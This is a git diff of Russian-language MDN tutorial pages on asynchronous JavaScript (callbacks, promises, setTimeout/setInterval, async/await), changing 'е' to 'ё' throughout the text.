      @@ -339,7 +339,7 @@ timeTest().then(() => { await timeoutPromise(3000); } -

      Здесь мы просто ждем все три  timeoutPromise() напрямую, блокируя выполнение на данного блока на 3 секунды при каждом вызове. Все последующие вызовы вынуждены ждать пока разрешится предыдущий. Если вы запустите первый пример (slow-async-await.html) вы увидите alert сообщающий время выполнения около 9 секунд. 

      +

      Здесь мы просто ждём все три  timeoutPromise() напрямую, блокируя выполнение на данного блока на 3 секунды при каждом вызове. Все последующие вызовы вынуждены ждать пока разрешится предыдущий. Если вы запустите первый пример (slow-async-await.html) вы увидите alert сообщающий время выполнения около 9 секунд. 

      Во втором  fast-async-await.html примере, функция timeTest() выглядит как:

      diff --git a/files/ru/learn/javascript/asynchronous/concepts/index.html b/files/ru/learn/javascript/asynchronous/concepts/index.html index def7da8a78..cd87899ec3 100644 --- a/files/ru/learn/javascript/asynchronous/concepts/index.html +++ b/files/ru/learn/javascript/asynchronous/concepts/index.html @@ -29,7 +29,7 @@ translation_of: Learn/JavaScript/Asynchronous/Concepts

      Что же такое Асинхронность?

      -

      Как правило, программный код выполняется последовательно, только одна конкретная операция происходит в данный момент времени. Если функция зависит от результата выполнения другой функции, то она должна дождаться пока нужная ей функция не завершит свою работу и не вернет результат и до тех пор пока это не произойдет, выполнение программы, по сути, будет остановлено с точки зрения пользователя.

      +

      Как правило, программный код выполняется последовательно, только одна конкретная операция происходит в данный момент времени. Если функция зависит от результата выполнения другой функции, то она должна дождаться пока нужная ей функция не завершит свою работу и не вернёт результат и до тех пор пока это не произойдёт, выполнение программы, по сути, будет остановлено с точки зрения пользователя.

      Пользователь современного ПК, наверняка, наблюдал, как курсор меняет свой вид и становится "разноцветным спинером" (у пользователей MacOS). Таким образом операционная система сообщает - "текущая программа, ожидает завершения какого то длительного процесса в системе и я решила сообщить тебе, что бы ты не волновался".

      @@ -43,7 +43,7 @@ translation_of: Learn/JavaScript/Asynchronous/Concepts

      Давайте рассмотрим несколько примеров, которые покажут, что именно значит блокировка.

      -

      В нашем simple-sync.html примере (see it running live), добавим кнопке событие на клик, чтобы при нажатии на нее запускалась трудоемкая операция (расчет 10000000 дат, и вывод последней рассчитанной даты на консоль) после чего в DOM добавляется еще один параграф:

      +

      В нашем simple-sync.html примере (see it running live), добавим кнопке событие на клик, чтобы при нажатии на неё запускалась трудоёмкая операция (расчёт 10000000 дат, и вывод последней рассчитанной даты на консоль) после чего в DOM добавляется ещё один параграф:

      const btn = document.querySelector('button');
 btn.addEventListener('click', () => {
@@ -69,7 +69,7 @@ btn.addEventListener('click', () => {
 
      В нашем следующем примере, simple-sync-ui-blocking.html (посмотреть пример), мы сделаем что-нибудь более реалистичное, с чем вы сможете столкнуться на реальной странице. Мы заблокируем действия пользователя отрисовкой страницы. В этом примере у нас две кнопки:
      
 
 
        
- 
      • Кнопка "Fill canvas", если на нее кликнуть, рисует в элементе
+ 
      • Кнопка "Fill canvas", если на неё кликнуть, рисует в элементе
   
        {{htmlelement("canvas")}}
        
   миллион синих кругов.
        • 
  
      • Кнопка "Click me for alert", при нажатии показывает предупреждение.
        • 
@@ -90,10 +90,10 @@ alertBtn.addEventListener('click', () =>
   alert('You clicked me!')
 );
      -

      Если вы быстро нажмете на первую кнопку и затем быстро кликните на вторую, вы увидите, что предупреждение не появится на странице, пока все круги не будут отрисованы. Первая операция блокирует выполнение следующей до тех пор пока не завершится сама.

      +

      Если вы быстро нажмёте на первую кнопку и затем быстро кликните на вторую, вы увидите, что предупреждение не появится на странице, пока все круги не будут отрисованы. Первая операция блокирует выполнение следующей до тех пор пока не завершится сама.

      -

      Примечание: Хорошо, в приведенном некрасивом примере, мы получили эффект блокировки, который показывает общую проблему  при разработке приложений, с которой все время приходится бороться разработчикам.

      +

      Примечание: Хорошо, в приведённом некрасивом примере, мы получили эффект блокировки, который показывает общую проблему  при разработке приложений, с которой все время приходится бороться разработчикам.

      Почему так происходит? Потому что JavaScript, в общем случае, выполняет команды в одном потоке. Пришло время познакомиться с понятием потока.

      @@ -117,7 +117,7 @@ Thread 2: Task C --> Task D
      Main thread: Render circles to canvas --> Display alert()
      -

      В итоге, JavaScript получил несколько инструментов, которые могут помочь в решении подобных проблем. Web workers позволяют вам обработать некоторый JavaScript код в отдельном потоке, который называется обработчик, таким образом вы можете запускать отдельные блоки JavaScript кода одновременно. В основном, вы будете использовать воркеры, чтобы запустить ресурсоемкий процесс, отдельно от основного потока, чтобы не блокировать действия пользователя.

      +

      В итоге, JavaScript получил несколько инструментов, которые могут помочь в решении подобных проблем. Web workers позволяют вам обработать некоторый JavaScript код в отдельном потоке, который называется обработчик, таким образом вы можете запускать отдельные блоки JavaScript кода одновременно. В основном, вы будете использовать воркеры, чтобы запустить ресурсоёмкий процесс, отдельно от основного потока, чтобы не блокировать действия пользователя.

        Main thread: Task A --> Task C
 Worker thread: Expensive task B
      @@ -128,18 +128,18 @@ Worker thread: Expensive task B

      Воркеры полезный инструмент, но у них есть свои ограничения. Самое существенное, заключается в том, что они не имеют доступа к {{Glossary("DOM")}} — вы не можете использовать воркер для обновления UI. Мы не можем отрисовать миллион наших точек  внутри воркера; он может только обработать большой объем информации.

      -

      Следующая проблема заключается в том, что даже если код запущенный в воркере ничего не блокирует, он в целом остается синхронным. Это проблема появляется, когда какой-то функции требуются результаты выполнения нескольких предыдущих функций. Рассмотрим следующую диаграмму потоков:

      +

      Следующая проблема заключается в том, что даже если код запущенный в воркере ничего не блокирует, он в целом остаётся синхронным. Это проблема появляется, когда какой-то функции требуются результаты выполнения нескольких предыдущих функций. Рассмотрим следующую диаграмму потоков:

      Main thread: Task A --> Task B
      -

      В этом примере, предположим Task A делает что-то вроде получения картинки с сервера а Task B затем делает что-нибудь с полученной картинкой, например, применяет к ней фильтр. Если запустить выполняться Task A и тут же попытаться выполнить Task B, то вы получите ошибку, поскольку картинка еще не будет доступна.

      +

      В этом примере, предположим Task A делает что-то вроде получения картинки с сервера а Task B затем делает что-нибудь с полученной картинкой, например, применяет к ней фильтр. Если запустить выполняться Task A и тут же попытаться выполнить Task B, то вы получите ошибку, поскольку картинка ещё не будет доступна.

        Main thread: Task A --> Task B --> |Task D|
 Worker thread: Task C -----------> |      |
      -

      Теперь, давайте предположим, что Task D использует результат выполнения обеих задач Task B и Task C. Если мы уверенны, что оба результата будут доступны одновременно, тогда не возникнет проблем, однако, часто это не так. Если Task D попытаться запустить, когда какого-то нужного ей результата еще нет, выполнение закончится ошибкой.

      +

      Теперь, давайте предположим, что Task D использует результат выполнения обеих задач Task B и Task C. Если мы уверенны, что оба результата будут доступны одновременно, тогда не возникнет проблем, однако, часто это не так. Если Task D попытаться запустить, когда какого-то нужного ей результата ещё нет, выполнение закончится ошибкой.

      -

      Чтобы избежать подобных проблем, браузеры позволяют нам выполнять определенные операции асинхронно. Такие возможности, как Promises позволяют запустить некоторую операцию (например, получение картинки с сервера), и затем подождать пока операция не вернет результат, перед тем как начать выполнение другой задачи:

      +

      Чтобы избежать подобных проблем, браузеры позволяют нам выполнять определённые операции асинхронно. Такие возможности, как Promises позволяют запустить некоторую операцию (например, получение картинки с сервера), и затем подождать пока операция не вернёт результат, перед тем как начать выполнение другой задачи:

      Main thread: Task A                   Task B
     Promise:      |__async operation__|
      @@ -150,7 +150,7 @@ Worker thread: Task C -----------> | |

      Заключение

      -

      При проектировании современных программ все больше используется асинхронное программирование, чтобы программа имела возможность выполнять несколько операций в конкретный момент времени. Как только вы начнете использовать новые, более мощные возможности API, вы обнаружите множество ситуаций, где решить нужную задачу можно только асинхронно. Раньше было сложно писать асинхронный код. До сих пор, нужно время, чтобы привыкнуть к такому подходу, но процесс стал намного легче. Далее, в этом разделе, мы будем глубже исследовать вопрос, когда же асинхронный код необходим и как спроектировать программу, чтобы избежать проблем, описанных выше.

      +

      При проектировании современных программ все больше используется асинхронное программирование, чтобы программа имела возможность выполнять несколько операций в конкретный момент времени. Как только вы начнёте использовать новые, более мощные возможности API, вы обнаружите множество ситуаций, где решить нужную задачу можно только асинхронно. Раньше было сложно писать асинхронный код. До сих пор, нужно время, чтобы привыкнуть к такому подходу, но процесс стал намного легче. Далее, в этом разделе, мы будем глубже исследовать вопрос, когда же асинхронный код необходим и как спроектировать программу, чтобы избежать проблем, описанных выше.

      В этом модуле

      diff --git a/files/ru/learn/javascript/asynchronous/introducing/index.html b/files/ru/learn/javascript/asynchronous/introducing/index.html index 75cae85c11..731c40dfa7 100644 --- a/files/ru/learn/javascript/asynchronous/introducing/index.html +++ b/files/ru/learn/javascript/asynchronous/introducing/index.html @@ -84,13 +84,13 @@ btn.addEventListener('click', () => { let blob = response.blob(); // display your image blob in the UI somehow -

      Это происходит потому что вы не знаете сколько времени займет загрузка картинки, следовательно, когда вы начнёте выполнять вторую строку кода, сгенерируется ошибка (возможно, периодически, возможно, каждый раз), потому что response еще не доступен. Вместо этого, ваш код должен дождаться возвращения response до того, как попытается выполнить дальнейшие инструкции.

      +

      Это происходит потому что вы не знаете сколько времени займёт загрузка картинки, следовательно, когда вы начнёте выполнять вторую строку кода, сгенерируется ошибка (возможно, периодически, возможно, каждый раз), потому что response ещё не доступен. Вместо этого, ваш код должен дождаться возвращения response до того, как попытается выполнить дальнейшие инструкции.

      -

      Есть два типа стиля асинхронного кода, с которыми вы столкнетесь в коде JavaScript, старый метод — callbacks (колбэки) и более новый —  promise (промисы, обещания). В следующих разделах мы познакомимся с каждым из них. 

      +

      Есть два типа стиля асинхронного кода, с которыми вы столкнётесь в коде JavaScript, старый метод — callbacks (колбэки) и более новый —  promise (промисы, обещания). В следующих разделах мы познакомимся с каждым из них. 

      Асинхронные колбэки

      -

      Асинхронные колбэки — это функции, которые определяются как аргументы при вызове функции, которая начнет выполнение кода на заднем фоне. Когда код на заднем фоне завершает свою работу, он вызывает колбэк-функцию, оповещающую, что работа сделана, либо оповещающую о трудностях в завершении работы. Обратные вызовы — немного устаревшая практика, но они все еще употребляются в некоторых старомодных, но часто используемых API.

      +

      Асинхронные колбэки — это функции, которые определяются как аргументы при вызове функции, которая начнёт выполнение кода на заднем фоне. Когда код на заднем фоне завершает свою работу, он вызывает колбэк-функцию, оповещающую, что работа сделана, либо оповещающую о трудностях в завершении работы. Обратные вызовы — немного устаревшая практика, но они все ещё употребляются в некоторых старомодных, но часто используемых API.

      Пример асинхронного колбэка вторым параметром {{domxref("EventTarget.addEventListener", "addEventListener()")}} (как мы видели выше):

      @@ -104,9 +104,9 @@ let blob = response.blob();

      Первый параметр — тип обрабатываемого события, второй параметр — колбэк-функция, вызываемая при срабатывании события.

      -

      При передаче колбэк-функции как аргумента в другую функцию, мы передаем только ссылку на функцию как аргумент, следовательно колбэк-функция не выполняется мгновенно. Она вызывается асинхронно внутри тела, содержащего функцию. Эта функция должна выполнять колбэк-функцию в нужный момент.

      +

      При передаче колбэк-функции как аргумента в другую функцию, мы передаём только ссылку на функцию как аргумент, следовательно колбэк-функция не выполняется мгновенно. Она вызывается асинхронно внутри тела, содержащего функцию. Эта функция должна выполнять колбэк-функцию в нужный момент.

      -

      Вы можете написать свою собственную функцию, содержащую колбэк-функцию. Давайте взглянем на еще один пример, в котором происходит загрузка ресурсов через XMLHttpRequest API (запустите пример, и посмотрите исходный код):

      +

      Вы можете написать свою собственную функцию, содержащую колбэк-функцию. Давайте взглянем на ещё один пример, в котором происходит загрузка ресурсов через XMLHttpRequest API (запустите пример, и посмотрите исходный код):

      function loadAsset(url, type, callback) {
   let xhr = new XMLHttpRequest();
@@ -130,7 +130,7 @@ function displayImage(blob) {
 
 loadAsset('coffee.jpg', 'blob', displayImage);
      -

      Мы создали  функцию displayImage(), которая представляет blob, переданный в нее, как объект URL, и создает картинку, в которой отображается URL, добавляя ее в элемент документа <body>. Однако, далее мы создаем функцию loadAsset(), которая принимает колбэк-функцию в качестве параметра, вместе с URL для получения данных и типом контента. Для получения данных из URL используется XMLHttpRequest (часто сокращается до аббревиатуры "XHR") , перед тем как передать ответ в колбэк-функцию для дальнейшей обработки. В этом случае колбэк-функция ждет, пока XHR закончит загрузку данных (используя обработчик события onload) перед отправкой данных в колбэк-функцию.

      +

      Мы создали  функцию displayImage(), которая представляет blob, переданный в неё, как объект URL, и создаёт картинку, в которой отображается URL, добавляя её в элемент документа <body>. Однако, далее мы создаём функцию loadAsset(), которая принимает колбэк-функцию в качестве параметра, вместе с URL для получения данных и типом контента. Для получения данных из URL используется XMLHttpRequest (часто сокращается до аббревиатуры "XHR") , перед тем как передать ответ в колбэк-функцию для дальнейшей обработки. В этом случае колбэк-функция ждёт, пока XHR закончит загрузку данных (используя обработчик события onload) перед отправкой данных в колбэк-функцию.

      Колбэк-функции универсальны — они не только позволяют вам контролировать порядок, в котором запускаются функции и данные, передающиеся между ними, они также позволяют передавать данные различным функциям, в зависимости от обстоятельств. Вы можете выполнять различные действия с загруженным ответом, такие как  processJSON(), displayText(), и другие.

      @@ -163,7 +163,7 @@ gods.forEach(function (eachName, index){

      В примере видно, как fetch() принимает один параметр — URL ресурса, который нужно  получить из сети, — и возвращает промис. Промис или обещание — это объект, представляющий асинхронную операцию, выполненную удачно или неудачно. Он представляет собой как бы промежуточное состояние. По сути, это способ браузера сказать: "я обещаю вернуться к вам с ответом как можно скорее," отсюда и название "обещание."

      -

      Может понадобиться много времени, чтобы привыкнуть к данной концепции; это немного напоминает {{interwiki("wikipedia", "Кот Шрёдингера")}} в действии. Ни один из возможных результатов еще не произошел, поэтому операция fetch в настоящее время ожидает результата. Далее у нас есть три блока кода следующих сразу после fetch():

      +

      Может понадобиться много времени, чтобы привыкнуть к данной концепции; это немного напоминает {{interwiki("wikipedia", "Кот Шрёдингера")}} в действии. Ни один из возможных результатов ещё не произошёл, поэтому операция fetch в настоящее время ожидает результата. Далее у нас есть три блока кода следующих сразу после fetch():

      • Два then() блока. Оба включают в себя функцию обратного, которая запустится, если предыдущая операция закончилась успешно, и каждая колбэк-функция принимает на вход результат предыдущей успешно выполненной операции, таким образом вы можете выполнять операции последовательно. Каждый .then() блок возвращает новый promise, это значит что вы можете объединять в цепочки блоки .then(), таким образом можно выполнить несколько асинхронных операций по порядку, одну за другой.
        • @@ -212,9 +212,9 @@ fetch('coffee.jpg').then((response) => { console.log ('All done!'); -

        Браузер начнет выполнение кода, увидит первый консольный оператор (Starting) и выполнит его, а затем создаст переменную image.

        +

        Браузер начнёт выполнение кода, увидит первый консольный оператор (Starting) и выполнит его, а затем создаст переменную image.

        -

        Затем он переместится на следующую строку и начнет выполнять блок fetch (), но, поскольку fetch () выполняется асинхронно без блокировки, выполнение кода продолжается после кода, связанного с промисом, тем самым достигая окончательного оператора (All done!) и выводя его на консоль.

        +

        Затем он переместится на следующую строку и начнёт выполнять блок fetch (), но, поскольку fetch () выполняется асинхронно без блокировки, выполнение кода продолжается после кода, связанного с промисом, тем самым достигая окончательного оператора (All done!) и выводя его на консоль.

        Только после того, как блок fetch () полностью завершит работу и доставит свой результат через блоки .then (), мы наконец увидим второе сообщение console.log () (It worked ;)). Таким образом, сообщения появились не в том порядке, который вы могли ожидать:

        @@ -234,9 +234,9 @@ button.addEventListener('click', () => { console.log("all done"); -

        Этот пример очень схож с предыдущим в своем поведении —  первое и третье сообщения console.log () будут показаны немедленно, но второе будет заблокировано, пока кто-то не нажмет кнопку мыши. Предыдущий пример работает аналогичным образом, за исключением того, что в этом случае второе сообщение блокируется цепочкой промисов, получая ресурс, а затем отображая его на экране, а не щелчком мыши.

        +

        Этот пример очень схож с предыдущим в своём поведении —  первое и третье сообщения console.log () будут показаны немедленно, но второе будет заблокировано, пока кто-то не нажмёт кнопку мыши. Предыдущий пример работает аналогичным образом, за исключением того, что в этом случае второе сообщение блокируется цепочкой промисов, получая ресурс, а затем отображая его на экране, а не щелчком мыши.

        -

        В менее простом примере кода такая система может вызвать проблему — вы не можете включить блок асинхронного кода, который возвращает результат, на который вы потом будете полагаться в блоке синхронного кода. Вы просто не можете гарантировать, что асинхронная функция вернется до того, как браузер обработает синхронный блок.

        +

        В менее простом примере кода такая система может вызвать проблему — вы не можете включить блок асинхронного кода, который возвращает результат, на который вы потом будете полагаться в блоке синхронного кода. Вы просто не можете гарантировать, что асинхронная функция вернётся до того, как браузер обработает синхронный блок.

        Чтобы увидеть это в действии, попробуйте взять локальную копию нашего примера и измените третий вызов console.log () следующим образом:

        @@ -246,7 +246,7 @@ console.log("all done"); 
        TypeError: image is undefined; can't access its "src" property
        -

        Это происходит потому, что в то же время браузер пытается запустить третий console.log(), блок fetch() еще не закончил выполнение, поэтому переменная image еще не имеет значения.

        +

        Это происходит потому, что в то же время браузер пытается запустить третий console.log(), блок fetch() ещё не закончил выполнение, поэтому переменная image ещё не имеет значения.

        Заметка: Из соображений безопасности вы не можете применять fetch()  к файлам из вашей локальной системы (или запустить другие такие операции локально); чтобы запустить локально пример выше вам необходимо запустить его через локальный веб-сервер.

        @@ -254,7 +254,7 @@ console.log("all done");

        Активное обучение: сделайте все это асинхронно!

        -

        Чтобы исправить проблемный пример с  fetch() и заставить все три сообщения console.log() появиться в желаемом порядке, вы можете также запустить третье сообщение console.log() асинхронно. Этого можно добиться, переместив его внутрь другого блока .then() присоединенного к концу второго, или просто переместив его внутрь второго блока  then(). Попробуйте исправить это сейчас..

        +

        Чтобы исправить проблемный пример с  fetch() и заставить все три сообщения console.log() появиться в желаемом порядке, вы можете также запустить третье сообщение console.log() асинхронно. Этого можно добиться, переместив его внутрь другого блока .then() присоединённого к концу второго, или просто переместив его внутрь второго блока  then(). Попробуйте исправить это сейчас..

        Заметка: Если вы застряли, вы можете найти ответ здесь (также можно посмотреть запущенный пример). Также вы можете найти много информации о промисах в нашем гайде Основные понятия асинхронного программирования позднее в этом модуле.

        diff --git a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html index 7b8522a964..1db889130a 100644 --- a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html +++ b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html @@ -1,5 +1,5 @@ --- -title: 'Объединенный асинхронный JavaScript: Таймауты и интервалы' +title: 'Объединённый асинхронный JavaScript: Таймауты и интервалы' slug: Learn/JavaScript/Asynchronous/Timeouts_and_intervals translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интервалы @@ -25,7 +25,7 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва

        Введение

        -

        В течение долгого времени веб-платформа предлагала программистам JavaScript ряд функций, которые позволяли им асинхронно выполнять код по истечении определенного временного интервала и повторно выполнять асинхронный блок кода, пока вы не скажете ему остановиться.

        +

        В течение долгого времени веб-платформа предлагала программистам JavaScript ряд функций, которые позволяли им асинхронно выполнять код по истечении определённого временного интервала и повторно выполнять асинхронный блок кода, пока вы не скажете ему остановиться.

        Эти функции:

        @@ -33,7 +33,7 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва
        setTimeout()
        Выполняет указанный блок кода один раз по истечении указанного времени
        setInterval()
        -
        Выполняет указанный блок кода несколько раз с определенным интервалом между каждым вызовом.
        +
        Выполняет указанный блок кода несколько раз с определённым интервалом между каждым вызовом.
        requestAnimationFrame()
        Современная версия setInterval (). Выполняют указанный блок кода перед тем, как браузер в следующий раз перерисовывает отображение, позволяя запускать анимацию с подходящей частотой кадров независимо от среды, в которой она выполняется.
        @@ -41,23 +41,23 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва

        Асинхронный код, установленный этими функциями, выполняется в основном потоке (по истечении указанного им таймера).

        -

        Важно знать, что вы можете (и часто будете) запускать другой код до выполнения вызова setTimeout () или между итерациями setInterval (). В зависимости от того, насколько интенсивно используются эти операции для процессора, они могут еще больше задержать выполнение асинхронного кода, поскольку любой асинхронный код будет выполняться только после того, как станет доступен основной поток. (Другими словами, когда стек пуст.) Вы узнаете больше по этому вопросу по мере изучения этой статьи.

        +

        Важно знать, что вы можете (и часто будете) запускать другой код до выполнения вызова setTimeout () или между итерациями setInterval (). В зависимости от того, насколько интенсивно используются эти операции для процессора, они могут ещё больше задержать выполнение асинхронного кода, поскольку любой асинхронный код будет выполняться только после того, как станет доступен основной поток. (Другими словами, когда стек пуст.) Вы узнаете больше по этому вопросу по мере изучения этой статьи.

        В любом случае эти функции используются для запуска постоянной анимации и другой фоновой обработки на веб-сайте или в приложении. В следующих разделах мы покажем вам, как их можно использовать.

        setTimeout()

        -

        Как мы ранее отметили, setTimeout () выполняет определенный блок кода один раз по истечении заданного времени. Принимает следующие параметры:

        +

        Как мы ранее отметили, setTimeout () выполняет определённый блок кода один раз по истечении заданного времени. Принимает следующие параметры:

          -
        • Функция для запуска или ссылка на функцию, определенную в другом месте.
          • +
        • Функция для запуска или ссылка на функцию, определённую в другом месте.
        • Число, представляющее интервал времени в миллисекундах (1000 миллисекунд равняется 1 секунде) ожидания перед выполнением кода. Если вы укажете значение 0 (или просто опустите значение), функция запустится как можно скорее. (См. Примечание ниже о том, почему он запускается «как можно скорее», а не «сразу».) Подробнее о том, почему вы, возможно, захотите сделать это позже.
          • -
        • Значений, представляющие любые параметры, которые вы хотите передать функции при ее запуске.
          • +
        • Значений, представляющие любые параметры, которые вы хотите передать функции при её запуске.
        -

        NOTE:  Указанное время (или задержка) не является гарантированным временем выполнения, а скорее минимальным временем выполнения. Обратные вызовы, которые вы передаете этим функциям, не могут выполняться, пока стек в основном потоке не станет пустым.

        +

        NOTE:  Указанное время (или задержка) не является гарантированным временем выполнения, а скорее минимальным временем выполнения. Обратные вызовы, которые вы передаёте этим функциям, не могут выполняться, пока стек в основном потоке не станет пустым.

        Как следствие, такой код, как setTimeout (fn, 0), будет выполняться, как только стек будет пуст, а не сразу. Если вы выполните такой код, как setTimeout (fn, 0), но сразу после выполнения цикла, который насчитывает от 1 до 10 миллиардов, ваш колбэк будет выполнен через несколько секунд.

        @@ -68,14 +68,14 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва alert('Hello, Mr. Universe!'); }, 2000) -

        Указанные вами функции не обязательно должны быть анонимными. Вы можете дать своей функции имя и даже определить ее где-нибудь еще и передать ссылку на функцию в setTimeout (). Следующие две версии фрагмента кода эквивалентны первой:

        +

        Указанные вами функции не обязательно должны быть анонимными. Вы можете дать своей функции имя и даже определить её где-нибудь ещё и передать ссылку на функцию в setTimeout (). Следующие две версии фрагмента кода эквивалентны первой:

        // С именованной функцией
 let myGreeting = setTimeout(function sayHi() {
   alert('Hello, Mr. Universe!');
 }, 2000)
 
-// С функцией определенной отдельно
+// С функцией определённой отдельно
 function sayHi() {
   alert('Hello Mr. Universe!');
 }
@@ -114,9 +114,9 @@ let myGreeting = setTimeout(sayHi, 2000);

        setTimeout () отлично работает, когда вам нужно один раз запустить код по истечении заданного периода времени. Но что происходит, когда вам нужно запускать код снова и снова - например, в случае анимации?

        -

        Здесь пригодится setInterval() . Работает очень похоже на setTimeout (), за исключением того, что функция, которую вы передаете в качестве первого параметра, выполняется повторно не менее чем за количество миллисекунд, заданных вторым параметром. Вы также можете передать любые параметры, необходимые для выполняемой функции, в качестве последующих параметров вызова setInterval ().

        +

        Здесь пригодится setInterval() . Работает очень похоже на setTimeout (), за исключением того, что функция, которую вы передаёте в качестве первого параметра, выполняется повторно не менее чем за количество миллисекунд, заданных вторым параметром. Вы также можете передать любые параметры, необходимые для выполняемой функции, в качестве последующих параметров вызова setInterval ().

        -

        Давайте посмотрим на пример. Следующая функция создает новый объект Date(), с помощью toLocaleTimeString() извлекает из него строку с временем и отображает ее в пользовательском интерфейсе. Затем он запускает функцию один раз в секунду с помощью setInterval(), создавая эффект цифровых часов, которые обновляются раз в секунду ( реальный пример, и исходный код):

        +

        Давайте посмотрим на пример. Следующая функция создаёт новый объект Date(), с помощью toLocaleTimeString() извлекает из него строку с временем и отображает её в пользовательском интерфейсе. Затем он запускает функцию один раз в секунду с помощью setInterval(), создавая эффект цифровых часов, которые обновляются раз в секунду ( реальный пример, и исходный код):

        function displayTime() {
    let date = new Date();
@@ -126,7 +126,7 @@ let myGreeting = setTimeout(sayHi, 2000);
        const createClock = setInterval(displayTime, 1000); -

        Как и setTimeout (), setInterval () возвращает определенное значение, которое вы можете использовать позже, когда вам нужно очистить интервал.

        +

        Как и setTimeout (), setInterval () возвращает определённое значение, которое вы можете использовать позже, когда вам нужно очистить интервал.

        Очистка интервала

        @@ -138,14 +138,14 @@ clearInterval(myInterval);

        Активное обучение: Создание собственного секундомера!

        -

        Учитывая все вышесказанное, у нас есть для вас задача. Возьмите копию нашего примера setInterval-clock.html , и измените ее так, чтобы создать свой собственный простой секундомер.

        +

        Учитывая все вышесказанное, у нас есть для вас задача. Возьмите копию нашего примера setInterval-clock.html , и измените её так, чтобы создать свой собственный простой секундомер.

        Вам нужно отображать время, как и раньше, но в этом примере вам нужно:

        • Кнопка "Start" для запуска секундомера.
        • Кнопка "Stop" для паузы/остановки.
          • -
        • Кнопка "Reset", чтобы сбросить счетчик времени на 0.
          • +
        • Кнопка "Reset", чтобы сбросить счётчик времени на 0.
        • Дисплей времени, чтобы отображать количество прошедших секунд а не фактическое время.
        @@ -155,17 +155,17 @@ clearInterval(myInterval);
      • Вы можете структурировать и стилизовать разметку кнопок по своему усмотрению; просто убедитесь, что вы используете семантический HTML с кавычками, которые позволяют захватывать ссылки на кнопки с помощью JavaScript.
      • Вероятно, вы захотите создать переменную, которая начинается с 0, а затем увеличивается на единицу каждую секунду с использованием постоянного цикла.
      • Этот пример проще создать без использования объекта Date (), как мы это делали в нашей версии, но он будет менее точен - вы не можете гарантировать, что колбэк сработает ровно через 1000 мс. Более точным способом было бы запустить startTime = Date.now (), чтобы получить метку времени, когда пользователь нажал кнопку запуска, а затем выполнить Date.now () - startTime, чтобы получить количество миллисекунд после того, как была нажата кнопка запуска .
        • -
      • Вам также нужно рассчитать количество часов, минут и секунд как отдельные значения, а затем отображать их вместе в строке после каждой итерации цикла. На втором счетчике вы можете отработать каждую из них.
        • +
      • Вам также нужно рассчитать количество часов, минут и секунд как отдельные значения, а затем отображать их вместе в строке после каждой итерации цикла. На втором счётчике вы можете отработать каждую из них.
      • Как вы могли бы их рассчитать? Подумайте об этом:
        • В одном часе 3600 секунд.
          • -
        • Количество минут - это количество секунд, оставшееся после вычитания всех часов, разделенное на 60.
          • +
        • Количество минут - это количество секунд, оставшееся после вычитания всех часов, разделённое на 60.
        • Количество секунд будет количеством секунд, оставшихся после вычитания всех минут.
      • Вам необходимо включить начальный ноль в отображаемые значения, если сумма меньше 10, чтобы они больше походили на традиционные часы.
        • -
      • Чтобы приостановить секундомер, вам нужно очистить интервал. Чтобы сбросить его, вам нудно установить счетчик обратно на 0, очистить интервал, а затем немедленно обновить отображение.
        • -
      • Вероятно, вам следует отключить кнопку запуска после ее нажатия один раз и снова включить ее после того, как вы остановили / сбросили ее. В противном случае многократное нажатие кнопки запуска приведет к применению нескольких setInterval () к часам, что приведет к неправильному поведению.
        • +
      • Чтобы приостановить секундомер, вам нужно очистить интервал. Чтобы сбросить его, вам нудно установить счётчик обратно на 0, очистить интервал, а затем немедленно обновить отображение.
        • +
      • Вероятно, вам следует отключить кнопку запуска после её нажатия один раз и снова включить её после того, как вы остановили / сбросили её. В противном случае многократное нажатие кнопки запуска приведёт к применению нескольких setInterval () к часам, что приведёт к неправильному поведению.
      @@ -178,9 +178,9 @@ clearInterval(myInterval);

      Рекурсивные таймауты

      -

      Есть еще один способ использования setTimeout (): вы можете вызвать его рекурсивно для повторного запуска одного и того же кода вместо использования setInterval ().

      +

      Есть ещё один способ использования setTimeout (): вы можете вызвать его рекурсивно для повторного запуска одного и того же кода вместо использования setInterval ().

      -

      В приведенном ниже примере используется рекурсивный setTimeout () для запуска переданной функции каждые 100 миллисекунд:

      +

      В приведённом ниже примере используется рекурсивный setTimeout () для запуска переданной функции каждые 100 миллисекунд:

      let i = 1;
 
@@ -190,7 +190,7 @@ setTimeout(function run() {
   setTimeout(run, 100);
 }, 100);
      -

      Сравните приведенный выше пример со следующим - здесь используется setInterval () для достижения того же эффекта:

      +

      Сравните приведённый выше пример со следующим - здесь используется setInterval () для достижения того же эффекта:

      let i = 1;
 
@@ -201,10 +201,10 @@ setInterval(function run() {
 
 
      Чем рекурсивный setTimeout () отличается от setInterval () ?
      
 
-
      Разница между двумя версиями приведенного выше кода невелика.
      
+
      Разница между двумя версиями приведённого выше кода невелика.
      
 
 
        
- 
      • Рекурсивный setTimeout () гарантирует такую же задержку между выполнениями. (Например, 100 мс в приведенном выше случае.) Код будет запущен, затем подождет 100 миллисекунд, прежде чем запустится снова, поэтому интервал будет одинаковым, независимо от того, сколько времени требуется для выполнения кода.
        • 
+ 
      • Рекурсивный setTimeout () гарантирует такую же задержку между выполнениями. (Например, 100 мс в приведённом выше случае.) Код будет запущен, затем подождёт 100 миллисекунд, прежде чем запустится снова, поэтому интервал будет одинаковым, независимо от того, сколько времени требуется для выполнения кода.
        • 
  
      • Пример с использованием setInterval () работает несколько иначе. Выбранный вами интервал включает время, затрачиваемое на выполнение кода, который вы хотите запустить. Предположим, что выполнение кода занимает 40 миллисекунд - тогда интервал составляет всего 60 миллисекунд.
        • 
  
      • При рекурсивном использовании setTimeout () каждая итерация может вычислять различную задержку перед запуском следующей итерации. Другими словами, значение второго параметра может указывать другое время в миллисекундах для ожидания перед повторным запуском кода.
        • 
 
      
@@ -215,7 +215,7 @@ setInterval(function run() {
 
 
      Использование 0 в качестве значения для setTimeout () позволяет планировать выполнение указанной колбэк-функции как можно скорее, но только после того, как будет запущен основной поток кода.
      
 
-
